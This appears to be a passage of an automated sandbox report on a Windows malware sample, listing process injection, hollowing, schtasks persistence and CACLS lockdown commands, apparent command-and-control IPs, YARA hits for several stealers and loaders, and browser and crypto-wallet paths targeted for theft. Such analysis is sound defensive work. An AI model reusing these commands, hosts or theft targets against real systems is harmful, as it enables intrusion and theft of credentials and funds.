Source: C:\Windows\explorer.exe	Network Connect: 195.158.3.162 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 171.22.28.219 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 91.215.85.209 443	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 91.227.16.22 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 91.215.85.17 80	Jump to behavior

Benign windows process drops PE files

Source: C:\Windows\explorer.exe

File created: vdhbahw.1.dr

Jump to dropped file

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\file.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vdhbahw	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vdhbahw	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6545.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write
Source: C:\Users\user\AppData\Local\Temp\6545.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read

Allocates memory in foreign processes

Source: C:\Users\user\AppData\Local\Temp\1CEF.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe base: 400000 protect: page execute and read and write

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\C06.exe	Memory written: C:\Users\user\AppData\Local\Temp\C06.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Memory written: C:\Users\user\AppData\Local\Temp\C06.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\977b3593-e014-49e4-a011-771ad84e5ef2\C06.exe	Memory written: C:\Users\user\AppData\Local\977b3593-e014-49e4-a011-771ad84e5ef2\C06.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\977b3593-e014-49e4-a011-771ad84e5ef2\C06.exe	Memory written: C:\Users\user\AppData\Local\977b3593-e014-49e4-a011-771ad84e5ef2\C06.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe	Memory written: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build3.exe	Memory written: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build3.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\Temp\1CEF.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	Memory written: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\977b3593-e014-49e4-a011-771ad84e5ef2\C06.exe	Memory written: C:\Users\user\AppData\Local\977b3593-e014-49e4-a011-771ad84e5ef2\C06.exe base: 400000 value starts with: 4D5A

Contains functionality to inject code into remote processes

Source: C:\Users\user\AppData\Local\Temp\C06.exe

Code function: 8_2_02320110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,

8_2_02320110

Creates a thread in another existing process (thread injection)

Source: C:\Users\user\Desktop\file.exe	Thread created: C:\Windows\explorer.exe EIP: 7D61AD0	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vdhbahw	Thread created: unknown EIP: 87C1AD0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6545.exe	Thread created: unknown EIP: 8EF19E8

Sample uses process hollowing technique

Source: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build3.exe	Section unmapped: unknown base address: 400000
Source: C:\Users\user\AppData\Local\977b3593-e014-49e4-a011-771ad84e5ef2\C06.exe	Section unmapped: unknown base address: 400000

Writes to foreign memory regions

Source: C:\Windows\explorer.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: 3279C0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1CEF.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe base: 400000
Source: C:\Users\user\AppData\Local\Temp\1CEF.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe base: 402000
Source: C:\Users\user\AppData\Local\Temp\1CEF.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe base: 430000
Source: C:\Users\user\AppData\Local\Temp\1CEF.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe base: 43C000
Source: C:\Users\user\AppData\Local\Temp\1CEF.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe base: 4FBA008

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Windows\explorer.exe	Memory written: PID: 3844 base: 3279C0 value: 90			Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: PID: 5568 base: 7FF72B812D10 value: 90			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\C06.exe	Process created: C:\Users\user\AppData\Local\Temp\C06.exe C:\Users\user\AppData\Local\Temp\C06.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Process created: C:\Users\user\AppData\Local\Temp\C06.exe "C:\Users\user\AppData\Local\Temp\C06.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\374E.exe	Process created: C:\Users\user\AppData\Local\Temp\577f58beff\yiueea.exe "C:\Users\user\AppData\Local\Temp\577f58beff\yiueea.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\577f58beff\yiueea.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN yiueea.exe /TR "C:\Users\user\AppData\Local\Temp\577f58beff\yiueea.exe" /F
Source: C:\Users\user\AppData\Local\Temp\577f58beff\yiueea.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k echo Y\|CACLS "yiueea.exe" /P "user:N"&&CACLS "yiueea.exe" /P "user:R" /E&&echo Y\|CACLS "..\577f58beff" /P "user:N"&&CACLS "..\577f58beff" /P "user:R" /E&&Exit
Source: C:\Users\user\AppData\Local\977b3593-e014-49e4-a011-771ad84e5ef2\C06.exe	Process created: C:\Users\user\AppData\Local\977b3593-e014-49e4-a011-771ad84e5ef2\C06.exe C:\Users\user\AppData\Local\977b3593-e014-49e4-a011-771ad84e5ef2\C06.exe --Task
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cacls.exe CACLS "yiueea.exe" /P "user:N"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cacls.exe CACLS "yiueea.exe" /P "user:R" /E
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cacls.exe CACLS "..\577f58beff" /P "user:N"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cacls.exe CACLS "..\577f58beff" /P "user:R" /E
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Process created: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe "C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe"
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Process created: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build3.exe "C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build3.exe"
Source: C:\Users\user\AppData\Local\Temp\9EB5.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\977b3593-e014-49e4-a011-771ad84e5ef2\C06.exe	Process created: C:\Users\user\AppData\Local\977b3593-e014-49e4-a011-771ad84e5ef2\C06.exe "C:\Users\user\AppData\Local\977b3593-e014-49e4-a011-771ad84e5ef2\C06.exe" --AutoStart
Source: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe	Process created: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe "C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://iplogger.com/2Xtsj4
Source: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build3.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1CEF.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\977b3593-e014-49e4-a011-771ad84e5ef2\C06.exe	Process created: unknown unknown

Source: C:\Users\user\AppData\Local\Temp\C06.exe

Code function: 11_2_00419F90 GetCurrentProcess,GetLastError,GetLastError,SetPriorityClass,GetLastError,GetModuleFileNameW,PathRemoveFileSpecW,GetCommandLineW,CommandLineToArgvW,lstrcpyW,lstrcmpW,lstrcmpW,lstrcpyW,lstrcpyW,lstrcmpW,lstrcmpW,GlobalFree,lstrcpyW,lstrcpyW,OpenProcess,WaitForSingleObject,CloseHandle,Sleep,GlobalFree,GetCurrentProcess,GetExitCodeProcess,TerminateProcess,CloseHandle,lstrcatW,GetVersion,lstrcpyW,lstrcatW,lstrcatW,_memset,ShellExecuteExW,CreateThread,lstrlenA,lstrcatW,_malloc,lstrcatW,_memset,lstrcatW,MultiByteToWideChar,lstrcatW,lstrlenW,CreateThread,WaitForSingleObject,CreateMutexA,CreateMutexA,lstrlenA,lstrcpyA,_memmove,_memmove,_memmove,GetUserNameW,GetMessageW,GetMessageW,DispatchMessageW,TranslateMessage,TranslateMessage,DispatchMessageW,GetMessageW,PostThreadMessageW,PeekMessageW,PostThreadMessageW,PeekMessageW,DispatchMessageW,PeekMessageW,WaitForSingleObject,PostThreadMessageW,PeekMessageW,DispatchMessageW,PeekMessageW,WaitForSingleObject,CloseHandle,

11_2_00419F90

Source: explorer.exe, 00000001.00000000.1727277838.0000000004CE0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1729958246.0000000009815000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1726181602.00000000018A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000001.00000000.1726181602.00000000018A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000001.00000000.1725888437.0000000001240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 1Progman$
Source: explorer.exe, 00000001.00000000.1726181602.00000000018A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 00000001.00000000.1726181602.00000000018A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: }Program Manager

Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: GetLocaleInfoA,	8_2_004113A2
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	8_2_02360AB6
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: _LcidFromHexString,GetLocaleInfoW,_TestDefaultLanguage,	11_2_00438178
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	11_2_00440116
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: _wcscmp,_wcscmp,GetLocaleInfoW,GetLocaleInfoW,GetACP,	11_2_004382A2
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,	11_2_0043834F
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: _memset,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_GetLcidFromCountry,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,___crtDownlevelLCIDToLocaleName,___crtDownlevelLCIDToLocaleName,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,__itow_s,	11_2_00438423
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: EnumSystemLocalesW,	11_2_004387C8
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: GetLocaleInfoW,	11_2_0043884E
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: _TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_GetLocaleNameFromDefault,IsValidCodePage,_wcschr,_wcschr,__itow_s,_LcidFromHexString,GetLocaleInfoW,	11_2_00437BB3
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: EnumSystemLocalesW,	11_2_00437E27
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	11_2_00437E83
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	11_2_00437F00
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: _LcidFromHexString,GetLocaleInfoW,GetLocaleInfoW,__wcsnicmp,GetLocaleInfoW,_TestDefaultLanguage,	11_2_00437F83
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: GetLocaleInfoA,	15_2_004113A2
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	15_2_02360AB6

Source: C:\Users\user\AppData\Local\Temp\577f58beff\yiueea.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\577f58beff\yiueea.exe VolumeInformation
Source: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation
Source: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\C06.exe

Code function: 8_2_023480F6 cpuid

8_2_023480F6

Source: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\AppData\Local\Temp\C06.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: C:\Users\user\AppData\Local\Temp\C06.exe

Code function: 8_2_0040A46E GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

8_2_0040A46E

Source: C:\Users\user\AppData\Local\Temp\C06.exe

Code function: 11_2_0042FE47 __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

11_2_0042FE47

Source: C:\Users\user\AppData\Local\Temp\C06.exe

11_2_00419F90

Source: C:\Users\user\AppData\Local\Temp\C06.exe

11_2_00419F90

Source: C:\Windows\SysWOW64\schtasks.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\SysWOW64\schtasks.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\SysWOW64\schtasks.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Windows\SysWOW64\schtasks.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\SysWOW64\schtasks.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\SysWOW64\schtasks.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Users\user\AppData\Local\Temp\9EB5.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT displayName FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct

Source: build2.exe, 00000026.00000002.2702013439.00000000005F1000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000002.2723898873.000000000241B000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Stealing of Sensitive Information

Yara detected RedLine Stealer

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected LummaC Stealer

Source: Yara match

File source: 00000031.00000002.2951334522.0000000004178000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 30.2.yiueea.exe.2c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.374E.exe.e00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.0.yiueea.exe.2c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.yiueea.exe.2c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.0.374E.exe.e00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.yiueea.exe.2c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000010.00000000.2281454429.0000000000E01000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000000.2288036934.00000000002C1000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.2313452873.00000000002C1000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000000.2312516328.00000000002C1000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2288944842.0000000000E01000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.4132494620.00000000002C1000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\374E.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\577f58beff\yiueea.exe, type: DROPPED

Yara detected SmokeLoader

Source: Yara match	File source: 0.3.file.exe.2330000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.vdhbahw.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.6545.exe.20a0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.6545.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.6b0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.3.vdhbahw.6c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.vdhbahw.6b0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.3.6545.exe.20b0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000020.00000002.2425606008.00000000020B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1746495018.0000000002351000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.2425763443.0000000002221000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.1956532519.00000000006C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1746454910.0000000002330000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2007809897.0000000002111000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2007419730.00000000006C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000003.2372861867.00000000020B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1674427121.0000000002330000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Glupteba

Source: Yara match	File source: 33.2.9EB5.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.9EB5.exe.5120e67.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000021.00000002.2642720211.0000000005563000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.2628119160.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 9EB5.exe PID: 5356, type: MEMORYSTR

Yara detected Amadey bot

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 00000011.00000002.4134687572.0000000000B3C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.4056163306.0000000000B58000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.4134687572.0000000000ACE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.4056210973.0000000000B3C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.4056210973.0000000000B14000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.4134687572.0000000000B5C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.4134687572.0000000000AFE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: yiueea.exe PID: 3568, type: MEMORYSTR

Yara detected Clipboard Hijacker

Source: Yara match	File source: 44.2.build3.exe.24215a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000002C.00000002.2602223734.0000000002420000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Vidar stealer

Source: Yara match	File source: 38.2.build2.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.build2.exe.3ee15a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.build2.exe.3ee15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 38.2.build2.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000023.00000002.2434061649.0000000003EE0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.2698187948.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: build2.exe PID: 6768, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: build2.exe PID: 3368, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 9EB5.exe, 00000021.00000002.2642720211.0000000005120000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: *electrum.Vin
Source: build2.exe, 00000026.00000002.2723898873.000000000241B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\ElectronCash\wallets\
Source: build2.exe, 00000023.00000002.2434061649.0000000003EE0000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: \Electrum\wallets\
Source: build2.exe, 00000026.00000002.2702013439.00000000005F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\jaxx\Local Storage\file__0.localstorage
Source: build2.exe, 00000026.00000002.2702013439.0000000000508000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: build2.exe, 00000026.00000002.2723898873.000000000241B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.conf.json_
Source: build2.exe, 00000023.00000002.2434061649.0000000003EE0000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: \Exodus\backups
Source: build2.exe, 00000026.00000002.2702013439.0000000000508000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: info.seco
Source: build2.exe, 00000026.00000002.2702013439.0000000000508000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ElectrumLTC
Source: build2.exe, 00000026.00000002.2702013439.00000000005F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\jaxx\Local Storage\file__0.localstorage
Source: build2.exe, 00000026.00000002.2702013439.0000000000508000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: passphrase.json
Source: build2.exe, 00000026.00000002.2702013439.0000000000508000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Ethereum\
Source: build2.exe, 00000023.00000002.2433596886.000000000255D000.00000040.00000020.00020000.00000000.sdmp	String found in binary or memory: Exodus\backuKd-
Source: build2.exe, 00000023.00000002.2434061649.0000000003EE0000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: default_wallet
Source: build2.exe, 00000026.00000002.2702013439.00000000005F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\jaxx\Local Storage\file__0.localstorage
Source: build2.exe, 00000026.00000002.2702013439.0000000000508000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Ethereum"
Source: build2.exe, 00000026.00000002.2723898873.000000000241B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://49.12.118.151/s\user\AppData\Roaming\MultiDoge\
Source: build2.exe, 00000026.00000002.2702013439.0000000000508000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: build2.exe, 00000026.00000002.2702013439.0000000000508000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: seed.seco
Source: build2.exe, 00000026.00000002.2702013439.0000000000508000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore
Source: build2.exe, 00000023.00000002.2434061649.0000000003EE0000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: \Electrum-LTC\wallets\

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data

Tries to steal Crypto Currency Wallets

